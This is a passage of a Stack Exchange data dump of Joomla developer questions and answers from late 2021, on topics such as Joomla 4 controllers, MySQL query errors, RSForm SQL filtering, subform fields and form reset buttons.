  <row Id="31710" PostTypeId="2" ParentId="31709" CreationDate="2021-11-29T17:43:32.560" Score="2" Body="&lt;p&gt;The solution has been found. My controller contained a &lt;strong&gt;__construct()&lt;/strong&gt; function of this type:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class MyviewnameController extends FormController&#xA;{&#xA;    function __construct( $config = array() )&#xA;    {&#xA;        $this-&amp;gt;view_list = 'list';&#xA;        parent::__construct( $config );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I looked at the &lt;strong&gt;com_content&lt;/strong&gt; component controller and saw that now &lt;strong&gt;__construct()&lt;/strong&gt; contains additional parameters and added them. My problem was solved immediately.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class MyviewnameController extends FormController&#xA;{&#xA;    public function __construct($config=array(), MVCFactoryInterface $factory=null, $app=null, $input=null)&#xA;    {&#xA;        parent::__construct($config, $factory, $app, $input);&#xA;&#xA;        $this-&amp;gt;view_list = 'list';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13776" LastActivityDate="2021-11-29T17:43:32.560" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31711" PostTypeId="1" AcceptedAnswerId="31712" CreationDate="2021-11-30T05:24:18.033" Score="0" ViewCount="193" Body="&lt;p&gt;I've come across this error when performing some database queries in my J4 site model:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    $db-&amp;gt;setQuery((string)$query);&#xA;&#xA;    try {&#xA;        $rows = $db-&amp;gt;loadObjectList();&#xA;    } catch (RuntimeException $e) {&#xA;        Factory::getApplication()-&amp;gt;enqueueMessage($e-&amp;gt;getMessage(),'danger');&#xA;        return false;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then I do some stuff with the output called $rows and then based on the result of this &amp;quot;stuff&amp;quot; (ie a ref_id) I try to update all the records that were returned in $rows using:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        $db     = Factory::getContainer()-&amp;gt;get('DatabaseDriver');&#xA;        $query  = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;clear();&#xA;        $query = ' UPDATE #__my_table_name SET state = 5, ref_id = '.(int) $ref_id.' WHERE user_id = '.(int) $user-&amp;gt;id.' AND state = 1 ';&#xA;        $db-&amp;gt;setQuery((string)$query);&#xA;&#xA;        try {&#xA;            $result = $db-&amp;gt;loadResult();&#xA;            return true;&#xA;        } catch (RuntimeException $e) {&#xA;            Factory::getApplication()-&amp;gt;enqueueMessage($e-&amp;gt;getMessage(),'danger');&#xA;            return false;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &amp;quot;stuff&amp;quot; being done has nothing to do with the database, just tweeking some text files, so why is it saying I'm out of sync?  Is there a new step required here?  Any and all help greatly appreciated.  Cheers.&lt;/p&gt;&#xA;" OwnerUserId="1985" LastActivityDate="2021-12-30T08:05:20.520" Title="2014 Commands out of sync - MySql query J4" Tags="|mysql|joomla-4|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="31712" PostTypeId="2" ParentId="31711" CreationDate="2021-11-30T06:15:30.580" Score="1" Body="&lt;p&gt;As recommended by @Lodder changing:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;solved the problem.&lt;/p&gt;&#xA;" OwnerUserId="1985" LastActivityDate="2021-11-30T06:15:30.580" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31713" PostTypeId="1" AcceptedAnswerId="32141" CreationDate="2021-11-30T08:46:25.100" Score="0" ViewCount="51" Body="&lt;p&gt;I commonly assign modules to template position none. In my index.php template, such a position doesn't exist - so the modules don't show. On the pages, I want them to show I use: {loadmoduleid 100}.&lt;/p&gt;&#xA;&lt;p&gt;Is there a performance impact on displaying modules on every page? Or should I only set it to only the specific pages it appears on? I'm using advanced module manager.&lt;/p&gt;&#xA;" OwnerUserId="3485" LastActivityDate="2022-05-11T07:06:08.023" Title="Is there a Performance Impact of displaying modules on every page if not used?" Tags="|module-display|performance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31714" PostTypeId="1" AcceptedAnswerId="31717" CreationDate="2021-11-30T13:41:52.977" Score="1" ViewCount="64" Body="&lt;p&gt;So I got this Pie Chart to display the Count of Voters vs Position and it's working fine.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT Position,&#xA;COUNT(1) AS count&#xA;FROM (&#xA;    SELECT&#xA;      MAX(IF(FieldName = 'Position', FieldValue, NULL)) AS `Position`&#xA;    FROM syh4g_rsform_submission_values&#xA;    WHERE FormId = 1&#xA;    GROUP BY SubmissionId&#xA;) DerivedTable&#xA;GROUP BY Position&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now, I have another field called &lt;code&gt;Part No&lt;/code&gt; which is basically a dropdown field of numbers starting from 1 to 47 in the same form.&lt;/p&gt;&#xA;&lt;p&gt;I want to create a Pie Chart for &lt;code&gt;Part No: 5&lt;/code&gt; only showcasing the Count of &lt;code&gt;Position&lt;/code&gt; against the Name.&lt;/p&gt;&#xA;&lt;p&gt;How do I go about it?&lt;/p&gt;&#xA;&lt;p&gt;EDIT:&#xA;Here's a sample of my DB Table. Please note that the sample data has &lt;code&gt;Part No 5&lt;/code&gt;: &lt;a href=&quot;https://www.db-fiddle.com/f/eeYuhZSefJ2XsV4Jpmn6Hv/0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.db-fiddle.com/f/eeYuhZSefJ2XsV4Jpmn6Hv/0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15865" LastEditorUserId="15865" LastEditDate="2021-12-01T03:58:23.760" LastActivityDate="2021-12-01T04:36:27.287" Title="PieChart For RSForm for PlotaLot based on a dropdown field" Tags="|joomla-3.x|mysql|rsform|pivot|plotalot|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="31715" PostTypeId="1" CreationDate="2021-11-30T17:47:01.733" Score="0" ViewCount="173" Body="&lt;p&gt;I am trying to apply custom field override to my article and some of the fields I am trying to access are inside repeatable and non-repeatable subforms. Please how do I access and display subform repeatable fields?&lt;/p&gt;&#xA;" OwnerUserId="15908" LastEditorUserId="12352" LastEditDate="2021-11-30T22:25:10.157" LastActivityDate="2021-11-30T22:25:10.157" Title="Layout override for repeatable subform custom field" Tags="|custom-field|template-override|subform|repeatable-field|jlayout|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31716" PostTypeId="2" ParentId="31715" CreationDate="2021-11-30T17:51:54.593" Score="3" Body="&lt;p&gt;This helped me to solve my problem...&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $fieldX = json_decode($this-&amp;gt;item-&amp;gt;jcfields[X]-&amp;gt;rawvalue, true); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where X is the Id of the subform native field&#xA;A, B, C is the respective Id of the custom fields inside of the subform.&lt;/p&gt;&#xA;&lt;p&gt;NB: this solution only works for repeatable subforms.&#xA;For subforms that are not repeatable, there is no need to loop through the associative array.&lt;/p&gt;&#xA;" OwnerUserId="15908" LastActivityDate="2021-11-30T17:51:54.593" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31717" PostTypeId="2" ParentId="31714" CreationDate="2021-12-01T04:11:09.380" Score="1" Body="&lt;p&gt;Add a HAVING clause that pre-qualifies aggregrate data in your derived table.  The following condition will require that a submission contains a &lt;code&gt;Part No&lt;/code&gt; value of &lt;code&gt;5&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HAVING COUNT(FieldName = 'Part No' AND FieldValue = '5') &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Full SQL: (&lt;a href=&quot;https://www.db-fiddle.com/f/eeYuhZSefJ2XsV4Jpmn6Hv/1&quot; rel=&quot;nofollow noreferrer&quot;&gt;DB Fiddle&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT Position,&#xA;       COUNT(1) AS Count&#xA;FROM (&#xA;    SELECT MAX(IF(FieldName = 'Position', FieldValue, NULL)) AS `Position`&#xA;    FROM syh4g_rsform_submission_values&#xA;    WHERE FormId = 1&#xA;    GROUP BY SubmissionId&#xA;    HAVING COUNT(FieldName = 'Part No' AND FieldValue = '5')&#xA;) DerivedTable&#xA;GROUP BY Position&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Less elegantly, it could be:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HAVING MAX(IF(FieldName = 'Part No', FieldValue, NULL)) = '5'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HAVING MAX(IF(FieldName = 'Part No' AND FieldValue = '5', 'keep', NULL)) = 'keep'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HAVING '5' IN (MAX(IF(FieldName = 'Part No', FieldValue, NULL)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HAVING FIND_IN_SET('5', GROUP_CONCAT(IF(FieldName = 'Part No', FieldValue, NULL)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2021-12-01T04:36:27.287" LastActivityDate="2021-12-01T04:36:27.287" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31718" PostTypeId="1" CreationDate="2021-12-02T03:49:23.783" Score="1" ViewCount="271" Body="&lt;p&gt;I want to add custom fields to my component.  My admin edit view uses bootstrap tabs:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo HTMLHelper::_('uitab.startTabSet', 'myTab', array('active' =&amp;gt; 'general')); ?&amp;gt;&#xA;&#xA;&amp;lt;?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'general', Text::_('COM_MYCOMP_TITLE', true)); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then I render the fieldset:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderFieldset('general'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now I want to render my custom fields before the endTabSet using:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $this-&amp;gt;ignore_fieldsets = array('general'); ?&amp;gt;&#xA;&amp;lt;?php echo LayoutHelper::render('joomla.edit.params', $this); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But this gives me an error of Notice: Undefined index: Joomla\CMS\HTML\Helpers\Bootstrap::startTabSet.&lt;/p&gt;&#xA;&lt;p&gt;Any advice greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1985" LastActivityDate="2023-12-24T23:00:55.123" Title="Render Custom Fields in Admin edit view" Tags="|custom-component|custom-field|joomla-4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31719" PostTypeId="1" CreationDate="2021-12-02T11:33:17.483" Score="1" ViewCount="55" Body="&lt;p&gt;I recently created a plugin for Joomla which uses the nice &lt;a href=&quot;https://sweetalert2.github.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;SweetAlert2&lt;/a&gt; popup script and it generally works fine. However, surprisingly, when the size of the html message I use is too long, the box does not popup and the content gets instead written to the document body itself. Is there a size limit for the html parameter or could this somehow be caused by Joomla?&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;No, I did not yet isolate how many characters it fails but I will.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;No, I did not dig into SweetAlert2's code as it goes way beyond what I can do with javascript.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes, I checked the miniorange plugin but it was not really what I needed.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Here's the code for the part where I check the html parameter (note that I had to try to deal with accented characters too).&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; *&#xA; * Create content &#xA; * &#xA; * Parameters-values separators is :=&#xA; */&#xA;function generateText($array)&#xA;{&#xA;    $res =explode(&amp;quot;,&amp;quot;,$array);&#xA;&#xA;    // For each parameter&#xA;    // we extract value&#xA;    foreach ($res as  $str)&#xA;    {&#xA;        $s = explode(&amp;quot;:=&amp;quot;, $str);&#xA;        // Test apostrophe&#xA;        if ($s[0] == 'html' || $s[0] == 'text')&#xA;        {&#xA;            //$s[1] = trim($s[1],&amp;quot;'&amp;quot;);&#xA;&#xA;            if (strpos($s[1],&amp;quot;l'&amp;quot;) !== false)&#xA;            {&#xA;                $accents = str_replace(&amp;quot;l'&amp;quot;,&amp;quot;l\'&amp;quot;,$s[1]);&#xA;                $string = &amp;quot;'&amp;quot; . $accents . &amp;quot;'&amp;quot;;&#xA;            }&#xA;            else&#xA;                $string = $s[1];&#xA;        }&#xA;        else&#xA;            $string = $s[1];&#xA;&#xA;        // In case there's html, decode to keep tags&#xA;        $corr = html_entity_decode($string);&#xA;        // Add to final text&#xA;        $texte .= $s[0] . &amp;quot;:  &amp;quot; . $corr .&amp;quot;,&amp;quot;;&#xA;    }&#xA;    // Remove last two chars&#xA;    $new = substr($texte, 0, -1);&#xA;&#xA;    return $new;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;code&gt;:=&lt;/code&gt; is the separator and the plugin syntax is like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{swal title:='&amp;lt;span style=&amp;quot;font-size: 16px;&amp;quot;&amp;gt;INFORMATION&amp;lt;/span&amp;gt;',html:='&amp;lt;span style=&amp;quot;font-size: 14px;&amp;quot;&amp;gt;Mask and sanitary pass are&amp;lt;/span&amp;gt;&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;font-size: 14px; color: #FF0000;&amp;quot;&amp;gt; mandatory for all adults and kids from 12 to 17 to....&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;b&amp;gt;Thanks!&amp;lt;/b&amp;gt;',icon:='info',confirmButtonText:='OK',iconColor:='#FF0000'}{/swal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15938" LastEditorUserId="12352" LastEditDate="2021-12-04T12:30:24.533" LastActivityDate="2021-12-04T12:30:24.533" Title="Is SweetAlert2 html parameter length limited in size?" Tags="|joomla-3.x|extensions|content-plugin|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="31721" PostTypeId="1" CreationDate="2021-12-02T17:55:37.277" Score="0" ViewCount="169" Body="&lt;p&gt;I followed instructions &lt;a href=&quot;https://joomla.stackexchange.com/questions/23516/manually-render-filter-form-fields-in-layout&quot;&gt;here&lt;/a&gt; and I render some fields in my front end view, like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo $this-&amp;gt;filterForm-&amp;gt;renderField('search', 'filter'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now I wonder how to manually add a clear button.&lt;/p&gt;&#xA;&lt;p&gt;If I render the joomla.searchtools.default, the clear button that it shows, works:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo JLayoutHelper::render('joomla.searchtools.default', array('view' =&amp;gt; $this));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I tried with adding this to my layout:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div class=&amp;quot;btn-wrapper&amp;quot;&amp;gt;&#xA;      &amp;lt;button type=&amp;quot;button&amp;quot; class=&amp;quot;btn hasTooltip js-stools-btn-clear&amp;quot; title=&amp;quot;&amp;lt;?php echo JHtml::_('tooltipText', 'JSEARCH_FILTER_CLEAR'); ?&amp;gt;&amp;quot;&amp;gt;&#xA;        &amp;lt;?php echo JText::_('JSEARCH_FILTER_CLEAR');?&amp;gt;&#xA;      &amp;lt;/button&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The button shows but does nothing.&#xA;How could I render a Clear form button in mylayout?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&#xA;putting the question clearer: why this reset code does not clean the form?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type = &amp;quot;reset&amp;quot; value = &amp;quot;Reset&amp;quot;&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but the &amp;quot;Clear&amp;quot; buton of JLayoutHelper::render('joomla.searchtools.default',...) does?&lt;/p&gt;&#xA;" OwnerUserId="14871" LastEditorUserId="14871" LastEditDate="2021-12-02T23:03:23.923" LastActivityDate="2023-12-24T00:03:50.497" Title="Manually render Clear form button in layout" Tags="|joomla-3.x|form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31722" PostTypeId="1" AcceptedAnswerId="31747" CreationDate="2021-12-03T13:46:04.870" Score="1" ViewCount="231" Body="&lt;p&gt;As a way of presenting the &amp;quot;freshness&amp;quot; of my website's content, I want to present the date of the most recently created/modified article.&lt;/p&gt;&#xA;&lt;p&gt;I need to display the last change date across all articles on my home page.&lt;/p&gt;&#xA;&lt;p&gt;I know I can get an individual article's last modification date like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;item-&amp;gt;modified&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But the question is : &lt;strong&gt;Can I get the last change date for all articles?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="36" LastEditorUserId="12352" LastEditDate="2021-12-08T11:41:26.450" LastActivityDate="2021-12-11T07:56:24.657" Title="Get last modification date of most recently modified article" Tags="|articles|date|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31723" PostTypeId="1" AcceptedAnswerId="31730" CreationDate="2021-12-03T16:40:01.890" Score="0" ViewCount="37" Body="&lt;p&gt;I am working on a website, and I see at the user registration form another fieldset (custom one that i made) but I cannot seem to find it. Does anyone know where you can configure these fieldsets?&lt;/p&gt;&#xA;&lt;p&gt;It's called jform_terms&lt;/p&gt;&#xA;" OwnerUserId="5642" LastEditorUserId="5642" LastEditDate="2021-12-06T12:37:29.877" LastActivityDate="2021-12-06T12:37:29.877" Title="Registration form has extra fieldset, where to find it?" Tags="|templates|registration|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="31724" PostTypeId="2" ParentId="31721" CreationDate="2021-12-03T21:11:16.097" Score="0" Body="&lt;p&gt;When you send a form inside a tipical component, Joomla store your data filters in the user state. After that, the component usually redirects you to a view that displays the same form, with the filters set like before. So, for the input box the value will be set, and for the selects an option will be selected.&#xA;In this state, if you push the reset button:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type = &amp;quot;reset&amp;quot; value = &amp;quot;Reset&amp;quot;&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;it will leave things as they are.&lt;/p&gt;&#xA;&lt;p&gt;So, for reset the filters I added a button, and a little Javascript:&lt;/p&gt;&#xA;&lt;p&gt;Button:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;button  id=&amp;quot;filter_clear&amp;quot; class=&amp;quot;btn waves-effect waves-light red&amp;quot;  type=&amp;quot;Button&amp;quot;&amp;gt; Reset &amp;lt;/button&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;JavaScript:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('#filter_clear').click(filter_clear);&#xA;&#xA;// Reset button&#xA;function filter_clear() &#xA;{&#xA;    jQuery('#filter_search').attr('value','');&#xA;    jQuery('#filter_profession').attr('value','');&#xA;    jQuery('#filter_specialty').empty().append('&amp;lt;option value&amp;gt;All&amp;lt;/option&amp;gt;');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14871" LastActivityDate="2021-12-03T21:11:16.097" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31725" PostTypeId="2" ParentId="31718" CreationDate="2021-12-04T15:29:34.093" Score="0" Body="&lt;p&gt;If it is your own component you don't really need to use custom fields. In your form xml file you can define a field set, as for general, and then in your edit template add a new tab, render the field set and then close the tab. In fact with a lot of field sets you can just cycle through them. Is that what you meant?&lt;/p&gt;&#xA;" OwnerUserId="7428" LastActivityDate="2021-12-04T15:29:34.093" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31726" PostTypeId="2" ParentId="31693" CreationDate="2021-12-04T16:17:03.127" Score="0" Body="&lt;p&gt;Could you explain what you mean by external php file? It may be something you can do with the new console package - tricky to set up but very good for cron jobs. Also, how do you distinguish between multiple module instances?&lt;/p&gt;&#xA;" OwnerUserId="7428" LastActivityDate="2021-12-04T16:17:03.127" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31727" PostTypeId="1" AcceptedAnswerId="31729" CreationDate="2021-12-04T18:32:32.677" Score="0" ViewCount="74" Body="&lt;p&gt;Im quite new to joomla. As far as I understood, modules can be used in an article like building blocks. Example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{loadmoduleid 117}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2&gt;Goal&lt;/h2&gt;&#xA;&lt;p&gt;I would like to give article authors a simple method to add unified features to an article without needing to create a new module for example for a small image gallery or specialised item list.&lt;/p&gt;&#xA;&lt;h2&gt;Question&lt;/h2&gt;&#xA;&lt;p&gt;Is it possible to provide parameters to a module? For example a link to an image and a text string:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{loadmoduleid 117 | /images/myimage.jpg| This is my image}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The module should the be able to scan parameters and place them for example in an html template like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&amp;quot;$PARAM1&amp;quot; alt=&amp;quot;$PARAM2&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The resulting code would be&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&amp;quot;/images/myimage.jpg&amp;quot; alt=&amp;quot;This is my image&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2&gt;Note&lt;/h2&gt;&#xA;&lt;p&gt;Please note: my question may be poiting in the wrong direction. There may already exist a different mechanism for achieving my desired result.&lt;/p&gt;&#xA;" OwnerUserId="15944" LastEditorUserId="15944" LastEditDate="2021-12-06T08:20:53.863" LastActivityDate="2021-12-06T08:54:44.940" Title="Can a module used in an article have parameters?" Tags="|joomla-3.x|custom-module|module-params|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31729" PostTypeId="2" ParentId="31727" CreationDate="2021-12-06T08:54:44.940" Score="1" Body="&lt;p&gt;No, it is not possible. Parameters are defined in the module instance with the given ID. You'd need a custom shortcode plugin to pass any parameters.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-12-06T08:54:44.940" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31730" PostTypeId="2" ParentId="31723" CreationDate="2021-12-06T09:35:17.833" Score="0" Body="&lt;p&gt;Found it!&lt;/p&gt;&#xA;&lt;p&gt;It's called the &lt;a href=&quot;https://docs.joomla.org/J3.x:Privacy#User_-_Terms_and_Condition&quot; rel=&quot;nofollow noreferrer&quot;&gt;User - Terms and Conditions Plugin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5642" LastEditorUserId="12352" LastEditDate="2021-12-06T11:57:38.047" LastActivityDate="2021-12-06T11:57:38.047" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31731" PostTypeId="2" ParentId="15178" CreationDate="2021-12-06T15:43:04.220" Score="0" Body="&lt;p&gt;I rename PATH_TO_JOOMLA_SITE/libraries/joomla/database/driver pgsql.php to pgsql-removed.php and configs works for me!&lt;/p&gt;&#xA;" OwnerUserId="15948" LastActivityDate="2021-12-06T15:43:04.220" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31733" PostTypeId="1" CreationDate="2021-12-07T17:41:15.030" Score="0" ViewCount="461" Body="&lt;p&gt;I cant figure out what im doing wrong. My goal is add background picture to article. I created &lt;code&gt;custom.css&lt;/code&gt; file with simple code&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.main-page-picture {&#xA;  background-image: url('/images/main_foto_final.jpg');&#xA;  background-color: transparent;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;link href&lt;/code&gt; for css file is in &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;&lt;p&gt;picture no show whe i add this to source code in article:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&#xA;     &amp;lt;p class=&amp;quot;main-page-picture&amp;quot;&amp;gt;Text&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15950" LastActivityDate="2023-12-14T10:03:10.417" Title="Joomla 4 add background image to article" Tags="|templates|css|images|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31737" PostTypeId="1" AcceptedAnswerId="31746" CreationDate="2021-12-08T10:59:28.657" Score="2" ViewCount="242" Body="&lt;p&gt;I have a question, and I am a bit confused where i need to put this.&lt;/p&gt;&#xA;&lt;p&gt;I have a controller which is mainly empty:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class ControllerProfiles extends Controller&#xA;{&#xA;    &#xA;    public function &amp;amp;getModel($name = 'Matches', $prefix = 'Model', $config = array())&#xA;    {&#xA;        $model = parent::getModel($name, $prefix, array('ignore_request' =&amp;gt; true));&#xA;&#xA;        return $model;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now I want to run a model function and based on that value (true or false) I want to redirect to a certain page (or do nothing).&lt;/p&gt;&#xA;&lt;p&gt;But I don't know where I need to place this code. Do I need to add some sort of function to the controller above (load() or display() or something?)? Or do I need to use the view.html.php controller of the specific view I want to add this to?&lt;/p&gt;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&lt;p&gt;I overrided the display function. but it doesn't get run.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function display($cachable = false, $urlparams = false)&#xA;    {&#xA;&#xA;        echo &amp;quot;test&amp;quot;;&#xA;        die();&#xA;        &#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Did some extra tests by removing the display function from the main controller and adding that to my specific controller. But now the page is empty. So the problem is that my controller isn't being used at all! How can I make sure the controller gets used?&lt;/p&gt;&#xA;" OwnerUserId="5642" LastEditorUserId="5642" LastEditDate="2021-12-20T10:51:17.643" LastActivityDate="2021-12-20T13:28:17.463" Title="Redirect controller function on load, what function do I need to use?" Tags="|component|model|custom|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="31738" PostTypeId="1" CreationDate="2021-12-08T12:59:13.470" Score="1" ViewCount="74" Body="&lt;p&gt;I have this piece of code that already runs on the pages I need this done. (The entire Joomla 3.9 site is a Frankenstein of custom code, components, etc. )&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;   $placeholder_country = JText::_('COM_ACME_PLACEHOLDER_COUNTRY_'.strtoupper(str_replace('-','_',$var['country'])));&#xA;    if($placeholder_country === 'COM_ACME_PLACEHOLDER_COUNTRY_'.strtoupper(str_replace('-','_',$var['country'])) || !$placeholder_country) $placeholder_country = '';&#xA;&#xA;    $article-&amp;gt;text = JString::str_ireplace(&amp;quot;{%placeholder_country%}&amp;quot;, $placeholder_country, $article-&amp;gt;text);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I tried adding the following to see if I can get this to set the title the same way.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;     $placeholder_country = JText::_('titlenick_'.strtoupper(str_replace('-','_',$var['country'])));&#xA;    if($placeholder_country === 